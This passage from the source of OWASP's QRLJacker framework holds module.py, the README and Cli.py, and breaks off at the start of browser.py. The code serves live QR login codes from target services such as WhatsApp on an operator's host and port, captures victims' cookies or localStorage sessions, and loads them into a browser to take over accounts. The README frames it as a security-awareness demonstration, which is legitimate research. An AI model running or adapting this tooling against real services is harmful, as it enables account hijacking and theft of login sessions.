rl_complete") 146 | else: 147 | readline.parse_and_bind('tab: complete') 148 | #readline.parse_and_bind('"\\e[A": complete') # Up arrow 149 | readline.parse_and_bind("set colored-completion-prefix on") 150 | readline.parse_and_bind("set show-all-if-unmodified on") 151 | readline.parse_and_bind("set horizontal-scroll-mode on") 152 | if os.path.exists(history_file): 153 | readline.read_history_file(history_file) 154 | readline.set_history_length(20) 155 | readline.set_completer_delims(' ') 156 | atexit.register(save_history) 157 | -------------------------------------------------------------------------------- /QRLJacker/core/module.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | from core import utils,Settings,Cli,db,browser 5 | from core.color import * 6 | from core.module_utils import * 7 | import importlib,traceback,os 8 | global global_options, module_keywords, cli_keywords 9 | module_help = end+G+""" 10 | 11 | Module commands 12 | =============== 13 | Command Description 14 | ---------- -------------- 15 | list/show List modules you can use. 16 | options Displays options for the current module. 17 | set Sets a context-specific variable to a value. 18 | run Launch the current module. 19 | use Use an available module. 20 | info Get information about an available module. 21 | search Search for a module by a specific text in its name or in its description. 22 | previous Sets the previously loaded module as the current module. 23 | back Move back from the current context. 24 | """+end 25 | 26 | global_options = {} 27 | modules = db.index_modules() 28 | module_keywords = ["options","set","run","back","close"] 29 | def Exec(all_keywords): 30 | global global_options, module_keywords, cli_keywords 31 | module_keywords += all_keywords 32 | cli_keywords = all_keywords 33 | mod = importlib.import_module(utils.pythonize("core.modules."+Settings.running_module)) 34 | if Settings.development: 35 | mod = utils.reload(mod) 36 | global_options = getattr(mod, 'execution').module_type.options 37 | if os.name !="nt": 38 | utils.Input_completer(module_keywords+modules) 39 | Settings.add_module(Settings.running_module) 40 | 41 | def handle(c): 42 | if c=="" or c[0]=="#":return 43 | c = c.strip() 44 | head = c.lower().split(" ")[0] 45 | args = " ".join(c.split(" ")[1:]) 46 | try: 47 | # Yeah, we don't have switch case in python... 48 | if not Cli.general_commands(head, args, module_help): 49 | if head in ["database","debug","dev","verbose","reload","refresh","list","show","resource","os","use","exec", 50 | "search","info","previous","sessions","jobs","eval","report"]: 51 | exec("Cli.command_{}(args)".format(head)) 52 | Settings.update_history(c) 53 | else: 54 | handler = globals()["command_{}".format(head)] 55 | handler(args) 56 | Settings.update_history(c) 57 | except Exception as e: 58 | if Settings.debug: 59 | print("Exception -> "+str(e)) 60 | print(" Input -> "+str(c)) 61 | print("Trackback -> ") 62 | traceback.print_exc() 63 | error( head + " is not recognized as an internal command !") 64 | #To check for the wanted command on typos 65 | wanted = utils.grab_wanted(head,module_keywords) 66 | if len(wanted)>0: 67 | status( "Maybe you meant : " + wanted ) 68 | status( "Type help or ? to learn more..") 69 | 70 | def command_options(text=False): 71 | try: 72 | options = global_options 73 | headers = [B+Bold+"Name","Current value","Required","Description"+end] 74 | names = list( options.keys() ) 75 | values = utils.my_map(lambda x:str(options[x][2]),names) 76 | required = utils.my_map(lambda x:["No","Yes"][options[x][0]],names) 77 | description = utils.my_map(lambda x:options[x][1],names) 78 | cols = [] 79 | for row in range(len(names)): 80 | cols.append([ names[row], values[row], required[row], description[row] ]) 81 | utils.create_table(headers,cols) 82 | 83 | except Exception as e: 84 | if Settings.debug: 85 | error("Error in finding options! ") 86 | print("Exception -> "+str(e) ) 87 | print(" Module -> "+str(m) ) 88 | print("Trackback -> ") 89 | traceback.print_exc() 90 | else: 91 | error("Unknown error! enable debug mode to more details") 92 | 93 | def is_option(option): 94 | try: 95 | blah = global_options[option.lower()][2] 96 | return [blah] 97 | except: 98 | return False 99 | 100 | def change_value(option,new_value): 101 | global_options[option.lower()][2] = new_value 102 | 103 | def command_set(opt=False): 104 | if not opt: 105 | error("You must type an option first !") 106 | elif len( opt.split(" ") ) < 2 and not "=" in opt: 107 | error("You must type a new value to the option !") 108 | else: 109 | split_char = " " 110 | if "=" in opt:split_char = "=" 111 | splitted = opt.split(split_char) 112 | x = is_option(splitted[0].lower()) 113 | if type(x) is list: 114 | if type(x[0]) is bool: 115 | change_value(splitted[0],x[0]==False) 116 | status( splitted[0] + " => " + str(x[0]==False) ) 117 | else: 118 | change_value( splitted[0], " ".join(splitted[1:]) ) 119 | status( splitted[0] + " => " + " ".join(splitted[1:]) ) 120 | else: 121 | error("Invalid option!") 122 | 123 | def command_run(text=False): 124 | # Options format : {"name":[ (0,1,2),description,value]} 125 | # Required --> 1 # Means that it must have value 126 | # Not required --> 0 # Means that it could have value or not 127 | for key in global_options.keys(): 128 | if global_options[key][0]==1 and not str(global_options[key][2]).strip(): # A required option but has empty value 129 | error("Error! the following option have not been set ("+ key + ")" ) 130 | return 131 | module = importlib.import_module(utils.pythonize("core.modules."+Settings.running_module)) 132 | if Settings.development: module = utils.reload(module) 133 | exec_info = getattr(module, "execution") 134 | current_browser = {"Status":"Ok"} 135 | if not Settings.headless_browser: 136 | Settings.headless_browser = browser.headless_browsers() 137 | current_browser = Settings.headless_browser.new_session(exec_info.name, exec_info.url, global_options["useragent"][2]) 138 | else: 139 | current_browser = Settings.headless_browser.new_session(exec_info.name, exec_info.url, global_options["useragent"][2]) 140 | 141 | if current_browser["Status"]=="Duplicate": 142 | error("Module already running!") 143 | elif current_browser["Status"]=="NoBrowser": 144 | error("Couldn't find Firefox file path!") 145 | elif current_browser["Status"]=="Failed": 146 | error("Couldn't open Firefox! Check the installation instructions again!") 147 | elif current_browser["Status"]=="Invalid useragent": 148 | error("Can't use this useragent! See the possible useragent values in the wiki!") 149 | else: 150 | # RUN https://youtu.be/PTZ4L6cNNC4 151 | #current_browser = current_browser["Controller"] 152 | if exec_info.module_type == types.grabber: 153 | if Settings.development: 154 | status("Grabber module detected!") 155 | Settings.headless_browser.website_qr(exec_info.name, exec_info.image_xpath) # Keeps QR image always updated and it runs in a thread too 156 | Settings.headless_browser.create_listener(exec_info.name, exec_info.change_identifier, exec_info.session_type) 157 | if exec_info.img_reload_button: 158 | Settings.headless_browser.check_img(exec_info.name, exec_info.img_reload_button) # This line will run in a thread too 159 | Settings.headless_browser.serve_module(exec_info.name, global_options["host"][2], int(global_options["port"][2])) 160 | 161 | # TODO 162 | elif exec_info.module_type == types.post: 163 | if Settings.development: 164 | status("Post module detected!") 165 | 166 | def command_close(text=False): # Another hidden command to use in debugging :D 167 | if Settings.headless_browser: 168 | Settings.headless_browser.close_all() 169 | Settings.headless_browser = None 170 | 171 | def command_back(text=False): 172 | Settings.update_previous() 173 | Settings.running_module = False 174 | Settings.reset_name() 175 | if os.name!="nt": 176 | utils.Input_completer(cli_keywords+modules ) 177 | -------------------------------------------------------------------------------- /QRLJacker/README.md: -------------------------------------------------------------------------------- 1 | # QRLJacker - QRLJacking Exploitation Framework ![Build Status](https://img.shields.io/badge/Version-2.1.1-green.svg) 2 | ### QRLJacker is a highly customizable exploitation framework to demonstrate "[QRLJacking Attack Vector](https://www.owasp.org/index.php/Qrljacking)" to show how it is easy to hijack services that depend on QR Code as an authentication and login method, Mainly it aims to raise the security awareness regarding all the services using the QR Code as a main way to login users to different services! 3 | 4 | ## Screenshot 5 | ![alt img](Screenshots/Screenshot1.png) 6 | [Youtube Tutorial for installing and running it](https://www.youtube.com/watch?v=sYtH5-K2JZc) 7 | 8 | ## Prerequisites before installing: 9 | 1. Linux or MacOS. (Not working on windows) 10 | 2. Python 3.7+ 11 | 12 | ## Installing instructions: 13 | > Note: Don't install QRLJacker and Firefox as root in a regular user's session because it's not supported by Firefox which would give error on running modules in framework. 14 | 15 | ***Important note: If you have multiple python version, use `python3.7` command instead of `python3` in the following steps and use `python3.7 -m pip` instead of `pip`, `pip3` or even `python3 -m pip` because that's the reason of 95% of the issues opened here. I think people often skip the important parts :smile:*** 16 | 17 | 1. Update Firefox browser to the latest version 18 | 2. Install the latest geckodriver from https://github.com/mozilla/geckodriver/releases and extract the file then do : 19 | * `chmod +x geckodriver` 20 | * `sudo mv -f geckodriver /usr/local/share/geckodriver` 21 | * `sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriver` 22 | * `sudo ln -s /usr/local/share/geckodriver /usr/bin/geckodriver` 23 | 3. Clone the repo with `git clone https://github.com/OWASP/QRLJacking` then do `cd QRLJacking/QRLJacker` 24 | 4. Install all the requirements with `pip install -r requirements.txt` 25 | 5. Now you can run the framework with `python3 QrlJacker.py --help` 26 | 27 | ## Tested on 28 | - Ubuntu 18.04 Bionic Beaver 29 | - Kali Linux 2018.x and up 30 | 31 | ## Usage 32 | ### Commandline arguments 33 | ``` 34 | usage: QrlJacker.py [-h] [-r ] [-x ] [--debug] [--dev] [--verbose] [-q] 35 | 36 | optional arguments: 37 | -h, --help show this help message and exit 38 | -r Execute a resource file (history file). 39 | -x Execute a specific command (use ; for multiples). 40 | --debug Enables debug mode (Identifying problems easier). 41 | --dev Enables development mode (Reloading modules every use). 42 | --verbose Enables verbose mode (Display more details). 43 | -q Quit mode (no banner). 44 | ``` 45 | ### Main menu help 46 | ``` 47 | General commands 48 | ================= 49 | Command Description 50 | --------- ------------- 51 | help/? Show this help menu. 52 | os Execute a system command without closing the framework 53 | banner Display banner. 54 | exit/quit Exit the framework. 55 | 56 | Core commands 57 | ============= 58 | Command Description 59 | --------- ------------- 60 | database Prints the core version, check if framework is up-to-date and update if you are not up-to-date. 61 | debug Drop into debug mode or disable it. (Making identifying problems easier) 62 | dev Drop into development mode or disable it. (Reload modules every use) 63 | verbose Drop into verbose mode or disable it. (Make framework displays more details) 64 | reload/refresh Reload the modules database. 65 | 66 | Resources commands 67 | ================== 68 | Command Description 69 | --------- ------------- 70 | history Display commandline most important history from the beginning. 71 | makerc Save the most important commands entered since start to a file. 72 | resource Run the commands stored in a file. 73 | 74 | Sessions management commands 75 | ============================ 76 | Command Description 77 | --------- ------------- 78 | sessions (-h) Dump session listings and display information about sessions. 79 | jobs (-h) Displays and manages jobs. 80 | 81 | Module commands 82 | =============== 83 | Command Description 84 | --------- ------------- 85 | list/show List modules you can use. 86 | use Use an available module. 87 | info Get information about an available module. 88 | previous Runs the previously loaded module. 89 | search Search for a module by a specific text in its name or in its description. 90 | ``` 91 | ### Module menu help 92 | ``` 93 | General commands 94 | ================= 95 | Command Description 96 | --------- ------------- 97 | help/? Show this help menu. 98 | os Execute a system command without closing the framework 99 | banner Display banner. 100 | exit/quit Exit the framework. 101 | 102 | Core commands 103 | ============= 104 | Command Description 105 | --------- ------------- 106 | database Prints the core version and then check if it's up-to-date. 107 | debug Drop into debug mode or disable it. (Making identifying problems easier) 108 | dev Drop into development mode or disable it. (Reload modules every use) 109 | verbose Drop into verbose mode or disable it. (Make framework displays more details) 110 | reload/refresh Reload the modules database. 111 | 112 | Resources commands 113 | ================== 114 | Command Description 115 | --------- ------------- 116 | history Display commandline most important history from the beginning. 117 | makerc Save the most important commands entered since start to a file. 118 | resource Run the commands stored in a file. 119 | 120 | Sessions management commands 121 | ============================ 122 | Command Description 123 | --------- ------------- 124 | sessions (-h) Dump session listings and display information about sessions. 125 | jobs (-h) Displays and manages jobs. 126 | 127 | Module commands 128 | =============== 129 | Command Description 130 | ---------- -------------- 131 | list/show List modules you can use. 132 | options Displays options for the current module. 133 | set Sets a context-specific variable to a value. 134 | run Launch the current module. 135 | use Use an available module. 136 | info Get information about an available module. 137 | search Search for a module by a specific text in its name or in its description. 138 | previous Sets the previously loaded module as the current module. 139 | back Move back from the current context. 140 | ``` 141 | ### Sessions command help menu 142 | ``` 143 | usage: sessions [-h] [-l] [-K] [-s] [-k] [-i] 144 | 145 | optional arguments: 146 | -h Show this help message. 147 | -l List all captured sessions. 148 | -K Remove all captured sessions. 149 | -s Search for sessions with a specifed type. 150 | -k Remove a specifed captured session by ID 151 | -i Interact with a captured session by ID. 152 | ``` 153 | ### Jobs command help menu 154 | ``` 155 | usage: jobs [-h] [-l] [-K] [-k] 156 | 157 | optional arguments: 158 | -h Show this help message. 159 | -l List all running jobs. 160 | -K Terminate all running jobs. 161 | -k Terminate jobs by job ID or module name 162 | ``` 163 | 164 | ## Taking advantage of the core 165 | ### Commands autocomplete 166 | The autocomplete feature that has been implemented in this framework is not the usual one you always see, here are some highlights: 167 | 168 | 1. It's designed to fix typos in typed commands to the most similar command with just one tab click so `saerch` becomes `search` and so on, even if you typed any random word similar to an command in this framework. 169 | 170 | 2. For you lazy-ones out there like me, it can predict what module you are trying to use by typing any part of it. For example if you typed `use wh` and clicked tab, it would be replaced with `use grabber/whatsapp` and so on. I can see your smile, You are welcome! 171 | 172 | 3. If you typed any wrong command then pressed enter, the framework will tell you what is the nearest command to what you have typed which could be the one you really wanted. 173 | 174 | 4. Some less impressive things like autocomplete for options of the current module after `set` command, autocomplete for modules after `use` and `info` commands and finally it converts all uppercase to lowercase automatically just-in-case you switched cases by mistake while typing. 175 | 176 | 5. Finally, you'll find your normal autocopmletion things you were using before, like commands autocompletion and persistent history, etc... 177 | 178 | 179 | ## Automation 180 | - As you may noticed, you can use a resource file from command-line arguments before starting the framework itself or send commands directly. 181 | - Inside the framework you can use `makerc` command like in Metasploit but this time it only saves the correct important commands. 182 | - There are `history` and `resource` commands so you don't need to exit the framework. 183 | - You can execute as many commands as you want at the same time by splitting them with semi-colon and many more left to be discovered by yourself. 184 | - Searching for modules in QRLJacker is so easy, you can search for a module by its name, something written in its description or even the author name. 185 | 186 | ## Framework Maintainers 187 | - [@melbadry9](https://github.com/melbadry9) 188 | - [@samm0uda](https://github.com/samm0uda) 189 | - [@Lekssays](https://github.com/Lekssays) 190 | - [@0xGuindi](https://github.com/0xGuindi) 191 | - [@Kiro24](https://github.com/Kiro24) 192 | - [@MohamedAbdultawab](https://github.com/MohamedAbdultawab) 193 | - [@mohmyo](https://github.com/mohmyo) 194 | - [@OmarMerghany](https://github.com/OmarMerghany) 195 | - [@TheRubick](https://github.com/TheRubick) 196 | - [@mikeashi](https://github.com/mikeashi) 197 | - [@mxfoxawy](https://github.com/xfoxawy) 198 | 199 | ## Reporting an issue 200 | - Before reporting an issue, activate the debug mode by using the `debug` command or the debug commandline argument and once the error happens again, the framework will print the error trace-back. Also debug mode activates some hidden commands which will help us in debugging the error and fix the problem for you. 201 | - Finally, make sure when reporting the issue to provide the very basic info like your system, python version and the output from the debugging mode. 202 | 203 | ## Development 204 | If you want to write your own module, read [the development docs from here](docs/README.md) 205 | 206 | ## Future ToDos: 207 | 1. Write modules for other websites and services. 208 | 2. Write post-exploitation modules for the framework. 209 | 3. TBD 210 | 211 | ## OWASP's links reference 212 | https://www.owasp.org/index.php/QRLJacking 213 | 214 | https://www.owasp.org/index.php/OWASP_QRLJacker 215 | -------------------------------------------------------------------------------- /QRLJacker/core/Cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | import os,sys,time,random,traceback,json,argparse,readline 5 | from core import utils,db,module,Settings,browser 6 | from core.color import * 7 | 8 | global modules,all_keywords 9 | modules = db.index_modules() 10 | all_keywords = [ 11 | "help","?","os","banner","exit","quit", 12 | "list","show","use","info","previous","search","sessions","jobs", 13 | "database","debug","dev","verbose","reload","refresh", 14 | "history","makerc","resource" 15 | ] 16 | help_msg = end+G+""" 17 | General commands 18 | ================= 19 | Command Description 20 | --------- ------------- 21 | help/? Show this help menu. 22 | os Execute a system command without closing the framework 23 | banner Display banner. 24 | exit/quit Exit the framework. 25 | 26 | Core commands 27 | ============= 28 | Command Description 29 | --------- ------------- 30 | database Prints the core version, check if framework is up-to-date and update if you are not up-to-date. 31 | debug Drop into debug mode or disable it. (Making identifying problems easier) 32 | dev Drop into development mode or disable it. (Reload modules every use) 33 | verbose Drop into verbose mode or disable it. (Make framework displays more details) 34 | reload/refresh Reload the modules database. 35 | 36 | Resources commands 37 | ================== 38 | Command Description 39 | --------- ------------- 40 | history Display commandline most important history from the beginning. 41 | makerc Save the most important commands entered since start to a file. 42 | resource Run the commands stored in a file. 43 | 44 | Sessions management commands 45 | ============================ 46 | Command Description 47 | --------- ------------- 48 | sessions (-h) Dump session listings and display information about sessions. 49 | jobs (-h) Displays and manages jobs."""+end 50 | 51 | module_help = G+""" 52 | 53 | Module commands 54 | =============== 55 | Command Description 56 | --------- ------------- 57 | list/show List modules you can use. 58 | use Use an available module. 59 | info Get information about an available module. 60 | previous Runs the previously loaded module. 61 | search Search for a module by a specific text in its name or in its description. 62 | """+end 63 | 64 | # To use with session command 65 | sessions_parser = argparse.ArgumentParser(prog="sessions",add_help=False) 66 | sessions_parser.add_argument('-h', action="store_true", help="Show this help message.") # I done that because print the normal help exits the framework 67 | sessions_parser.add_argument('-l', action="store_true", help='List all captured sessions.') 68 | sessions_parser.add_argument('-K', action="store_true", help='Remove all captured sessions.') 69 | sessions_parser.add_argument('-s', metavar='', help='Search for sessions with a specifed type.') 70 | sessions_parser.add_argument('-k', metavar='', help='Remove a specifed captured session by ID') 71 | sessions_parser.add_argument('-i', metavar='', help='Interact with a captured session by ID.') 72 | # Yeah, you must have noticed that I'm trying to make sessions arguments are the same as metasploit to not make you feel weird :D 73 | 74 | def general_commands(command, args=None, full_help=module_help): 75 | 76 | if command=="banner": 77 | utils.banner(modules) 78 | return True 79 | 80 | elif command=="history": 81 | n = -1 82 | for i in range( len(Settings.history) ): 83 | print( Settings.history[n] ) 84 | n -= 1 85 | return True 86 | 87 | elif command=="makerc": 88 | file_name = "history.txt" 89 | if args and len(args.split(" "))>0: 90 | file_name = args.split(" ")[0] 91 | f = open(file_name,"w") 92 | for line in Settings.history: 93 | f.write(line+"\n") 94 | f.close() 95 | status( "Command history saved to "+file_name ) 96 | return True 97 | 98 | elif command in ["help","?"]: 99 | print(help_msg+full_help) 100 | return True 101 | 102 | elif command in ["exit","quit"]: 103 | if Settings.headless_browser: 104 | Settings.headless_browser.close_all() 105 | Settings.headless_browser = None 106 | exit(0) 107 | 108 | else: 109 | return False 110 | 111 | chars_filter = { ";":"{{Semi-Colon}}" } # Here we add all the chars that may do some problems while processing 112 | def start(rc=False): 113 | myinput = utils.getinput() 114 | utils.Input_completer(all_keywords+modules ) 115 | while True: 116 | if sys.stdin.closed or sys.stdout.closed: 117 | exit(0) 118 | try: 119 | name = Settings.name 120 | if rc: 121 | cmd = rc 122 | print("\n"+name+G+" > "+end+cmd) 123 | else: 124 | cmd = myinput("\n"+name+G+" > "+end) 125 | 126 | cmd = cmd.strip() 127 | special_char = False 128 | for q in ["'",'"']: 129 | if cmd.count(q) >=2: 130 | special_char = q 131 | 132 | if special_char: 133 | # Welcome to the new age of the quick shitty special characters filters.. 134 | quoted = cmd.split(special_char)[1] # Get the first thing between quotes 135 | for char in chars_filter: 136 | quoted = quoted.replace(char,chars_filter[char]) 137 | cmd = cmd.replace( cmd.split(special_char)[1].join([special_char]*2), quoted ) 138 | # Not the filter this framework deserves but, the filter it needed..lol 139 | 140 | for c in cmd.split(";"): 141 | for char in chars_filter: 142 | c = c.replace(chars_filter[char],char) # Yeah reversing 143 | if len( cmd.split(";") ) > 1: 144 | print(G+" > "+end+ c) 145 | if Settings.running_module: 146 | module.handle(c) 147 | continue 148 | 149 | head = c.lower().split()[0] 150 | args = " ".join(c.split()[1:]) 151 | 152 | if not general_commands(head, args=args): 153 | command_handler(c) 154 | except KeyboardInterrupt: 155 | print() 156 | error("KeyboardInterrupt use exit command!") 157 | continue 158 | except Exception as e: 159 | if Settings.debug: 160 | print("\nInput function error:") 161 | print(" Exception -> "+str(e)) 162 | print(" Input -> "+str(cmd)) 163 | print(" Trackback -> ") 164 | traceback.print_exc() 165 | break 166 | finally: 167 | if rc: 168 | time.sleep(0.3) 169 | break 170 | 171 | #A function for every command (helpful in the future) 172 | def command_handler(c): 173 | #parsing a command and pass to its function 174 | if c=="" or c[0]=="#":return 175 | command = c.lower().split()[0] 176 | args = " ".join(c.split()[1:]) 177 | try: 178 | handler = globals()["command_{}".format(command)] 179 | handler(args) 180 | Settings.update_history(c) # Log the important commands and the ones that doesn't gave error :D 181 | except Exception as e: 182 | if command not in all_keywords: 183 | error( command + " is not recognized as an internal command !") 184 | #To check for the wanted command on typos 185 | wanted = utils.grab_wanted(command,all_keywords) 186 | if len(wanted)>0: 187 | status( "Maybe you meant : " + wanted ) 188 | else: 189 | error( "Error in executing command "+ command ) 190 | status( "Type help or ? to learn more..") 191 | 192 | if Settings.debug: 193 | print("Exception -> "+str(e)) 194 | print(" Input -> "+str(c)) 195 | print(" Modules -> "+" ".join(modules)) 196 | print("Trackback -> ") 197 | traceback.print_exc() 198 | 199 | def command_list(text=False): 200 | cols = [G+Bold+"Name"+end,G+Bold+"Description"+end] 201 | Columns = [] 202 | for p in modules: 203 | info = db.grab(p) 204 | Columns.append([p ,info.short_description]) 205 | utils.create_table(cols,Columns) 206 | 207 | def command_show(text=False): 208 | command_list(text) 209 | 210 | def command_search(text=False): 211 | if not text: 212 | error("You must enter a text to search for !") 213 | else: 214 | cols = [G+Bold+"Name"+end,G+Bold+"Description"+end] 215 | Columns = [] 216 | text = text.lower() 217 | for p in modules: 218 | info = db.grab(p) 219 | full_text = " ".join([info.author, info.short_description, info.full_description if info.full_description else ""]).lower() 220 | if text in full_text: 221 | Columns.append([p ,info.short_description]) 222 | if not Columns: 223 | error("Didn't find a module have the entered text!") 224 | else: 225 | utils.create_table(cols,Columns) 226 | 227 | def command_os(text=False): 228 | if text: 229 | os.system(text) 230 | else: 231 | error("You must enter a command to execute !") 232 | return 233 | 234 | def command_use(p=False): 235 | p = p.lower() 236 | if not p: 237 | error("You must enter a module to use !") 238 | return 239 | else: 240 | if p in modules: 241 | if Settings.running_module: 242 | Settings.update_previous() 243 | Settings.running_module = p 244 | module.Exec(all_keywords) 245 | return 246 | else: 247 | if Settings.debug: 248 | print("Module -> "+p) 249 | print("Loaded modules ->"+"\t".join(modules)) 250 | error(p+" module not found!") 251 | 252 | def command_sessions(text=""): 253 | sessions_file = os.path.join("core","sessions.json") 254 | sessions = json.load(open( sessions_file )) 255 | try: 256 | cmd = sessions_parser.parse_args(text.split()) 257 | except: 258 | cmd = sessions_parser.parse_args("") # Fuck you argparse, next time I will use more flexible module like getopt globally 259 | # I done this because any error argparse gives is printed and it exit the framework but now no 260 | 261 | if cmd.h: 262 | print(sessions_parser.format_help()) 263 | return 264 | 265 | elif not text or cmd.l: 266 | if not sessions: 267 | error("No captured sessions.") 268 | else: 269 | cols = [G+Bold+"ID"+end, G+Bold+"Module name"+end,G+Bold+"Captured on"+end] 270 | Columns = [] 271 | for session_id in list(sessions.keys()): 272 | line = sessions[session_id] 273 | date = line["session_path"].replace( os.path.join("sessions",""),"").replace(".session","") 274 | Columns.append([session_id, line["name"], date]) 275 | utils.create_table(cols,Columns) 276 | 277 | elif cmd.i: 278 | if not sessions: 279 | error("No captured sessions.") 280 | else: 281 | if not cmd.i: 282 | error("Enter a session ID to interact with!") 283 | elif cmd.i not in list(sessions.keys()): 284 | error("Invalid session ID!") 285 | else: 286 | if not Settings.visible_browser: 287 | Settings.visible_browser = browser.visible_browsers() 288 | status(f"Starting interaction with ({cmd.i})...") 289 | if sessions[cmd.i]["session_type"] == "localStorage": 290 | Settings.visible_browser.load_localstorage(cmd.i) 291 | elif sessions[cmd.i]["session_type"] == "cookies": 292 | Settings.visible_browser.load_cookie(cmd.i) 293 | else: 294 | Settings.visible_browser.load_profile(cmd.i) 295 | 296 | elif cmd.k: 297 | if not sessions: 298 | error("No captured sessions.") 299 | else: 300 | if not cmd.k: 301 | error("Enter a session ID to interact with!") 302 | elif cmd.k not in list(sessions.keys()): 303 | error("Invalid session ID!") 304 | else: 305 | session_file = sessions[cmd.k]["session_path"] 306 | os.remove(session_file) 307 | sessions.pop(cmd.k) 308 | f = open( sessions_file,"w" ) 309 | json.dump(sessions, f, indent=2) 310 | f.close() 311 | status(f"Session ({cmd.k}) removed!") 312 | 313 | elif cmd.s: 314 | if not sessions: 315 | error("No captured sessions.") 316 | else: 317 | if not cmd.s: 318 | error("Enter a session type to filter with!") 319 | elif cmd.s not in [ sessions[i]["name"] for i in list(sessions.keys()) ]: 320 | error("Invalid session type!") 321 | else: 322 | cols = [G+Bold+"ID"+end, G+Bold+"Captured on"+end] 323 | Columns = [] 324 | for session_id in list(sessions.keys()): 325 | line = sessions[session_id] 326 | if cmd.s == line["name"]: 327 | date = line["session_path"].replace( os.path.join("sessions",""),"").replace(".session","") 328 | Columns.append([session_id, date]) 329 | utils.create_table(cols,Columns) 330 | 331 | elif cmd.K: 332 | if not sessions: 333 | error("No captured sessions.") 334 | else: 335 | for sess in list(sessions.keys()): 336 | session_file = sessions[sess]["session_path"] 337 | os.remove(session_file) 338 | f = open( sessions_file,"w" ) 339 | json.dump({}, f, indent=2) 340 | f.close() 341 | status(f"All captured sessions removed!") 342 | 343 | def command_jobs(process=""): 344 | help_command = """ 345 | usage: jobs [-h] [-l] [-K] [-k] 346 | 347 | optional arguments: 348 | -h Show this help message. 349 | -l List all running jobs. 350 | -K Terminate all running jobs. 351 | -k Terminate jobs by job ID or module name""" 352 | 353 | if process=="-h": 354 | print(help_command) 355 | return 356 | 357 | else: 358 | if not Settings.headless_browser or Settings.headless_browser.browsers=={}: 359 | error("No active jobs.") 360 | return 361 | 362 | option = process.split()[:1] 363 | args = process.split()[1:] 364 | if not process or option[0] =="-l": 365 | cols = [G+Bold+"ID"+end, G+Bold+"Module name"+end,G+Bold+"Serving on"+end] 366 | Columns = [] 367 | for module_name in list(Settings.headless_browser.browsers.keys()): 368 | line = Settings.headless_browser.browsers[module_name] 369 | if Settings.headless_browser.browsers[module_name]["Status"]: 370 | uri = line["host"]+":"+line["port"] 371 | Columns.append([line["Controller"].session_id, module_name, uri]) 372 | if Columns: 373 | utils.create_table(cols,Columns) 374 | else: 375 | error("No active jobs.") 376 | 377 | elif option[0]=="-k": 378 | if not args: 379 | error("Enter a job ID/module name to terminate!") 380 | else: 381 | for module_name in list(Settings.headless_browser.browsers.keys()): 382 | if Settings.headless_browser.browsers[module_name]["Controller"].session_id == args[0]: 383 | Settings.headless_browser.close_job(module_name) 384 | status("Job terminated successfully!") 385 | return 386 | for module_name in list(Settings.headless_browser.browsers.keys()): 387 | if module_name == args[0]: 388 | Settings.headless_browser.close_job(module_name) 389 | status("Job terminated successfully!") 390 | return 391 | error("Job not found!") 392 | 393 | elif option[0] == "-K": 394 | Settings.headless_browser.close_all() 395 | Settings.headless_browser = None 396 | status("All jobs terminated successfully!") 397 | 398 | else: 399 | error("Invalid option!") 400 | 401 | def command_previous(p=False): 402 | if len(Settings.previous)!=0: 403 | prev = Settings.previous.pop(-1) 404 | command_use(prev) 405 | else: 406 | error("You haven't used a modules yet !") 407 | 408 | def command_resource(p=False): 409 | try: 410 | with open(p,"r") as f: 411 | cmds = f.readlines() 412 | for cmd in cmds: 413 | start(cmd.strip()) 414 | except: 415 | if not p: 416 | error("Enter a resource file to read!") 417 | else: 418 | if Settings.debug: 419 | print(" Input -> "+str(p)) 420 | print(" Dir -> "+str(os.getcwd())) 421 | error("Can't open the specifed resource file!") 422 | return 423 | 424 | def command_info(p=False): 425 | if not p: 426 | error("You must enter a module to get it's information !") 427 | return 428 | p = p.lower() 429 | if p in modules: 430 | info = db.grab(p) 431 | print( " Module : " + utils.humanize(p) ) 432 | print( " Provided by : " + info.author ) 433 | if info.full_description: 434 | print( " Description : " + info.full_description ) 435 | else: 436 | print( " Description : " + info.short_description ) 437 | else: 438 | error(p+" module not found!") 439 | 440 | def command_reload(text=False): 441 | global modules 442 | modules = db.index_modules() 443 | status("Database updated! ( {} module(s) loaded now )".format( len(modules) ) ) 444 | utils.Input_completer(all_keywords+utils.my_map(lambda x: utils.pythonize(x).split(".")[-1],modules) ) 445 | 446 | def command_refresh(text=False): 447 | command_reload(text) 448 | 449 | def command_database(text=False): 450 | status("Checking...") 451 | v = open(os.path.join(Settings.path, "core", "Data", "version.txt")).read().strip() 452 | status("Core database "+Y+v) 453 | lol = utils.check_version() 454 | if lol and lol==v: 455 | status("You are up-to-date!") 456 | elif not lol: 457 | error("Error in connection! Check your internet!") 458 | else: 459 | error("The latest core database is "+lol) 460 | status("Updating...") 461 | os.chdir("..") 462 | os.popen("git pull") 463 | os.chdir("QRLJacker") 464 | status("Framework updated successfully!") 465 | 466 | def command_exec(text=False): # A hidden command to use in debugging :D 467 | if Settings.debug and text: 468 | exec(text) 469 | 470 | def command_eval(text=False): # Aaaaaand another hidden one :D 471 | if Settings.debug and text: 472 | eval(text) 473 | 474 | def command_report(text=False): 475 | if Settings.debug: 476 | if Settings.headless_browser: 477 | for key in Settings.headless_browser.browsers: 478 | print("Key: "+key) 479 | print("Data: ") 480 | print(Settings.headless_browser.browsers[key]["Controller"].capabilities) 481 | break 482 | 483 | # if its value is False the result will be mode=(False==False) so the mode will be True and so on, yup it's magic :D 484 | def command_debug(text=False): 485 | Settings.debug = (Settings.debug==False) 486 | status("Debug mode " + {True:"enabled!",False:"disabled!"}[Settings.debug] ) 487 | 488 | def command_dev(text=False): 489 | Settings.development = (Settings.development==False) 490 | status("Development mode " + {True:"enabled!",False:"disabled!"}[Settings.development] ) 491 | 492 | def command_verbose(text=False): 493 | Settings.verbose = (Settings.verbose==False) 494 | status("Verbose mode " + {True:"enabled!",False:"disabled!"}[Settings.verbose] ) 495 | -------------------------------------------------------------------------------- /QRLJacker/core/browser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | from selenium.webdriver import Firefox,FirefoxProfile 3 | from selenium.webdriver.firefox.options import Options 4 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 5 | from selenium.webdriver.common.by import By 6 | from user_agent import generate_user_agent 7 | from core.color import * 8 | from core.module_utils import * 9 | from core import Settings 10 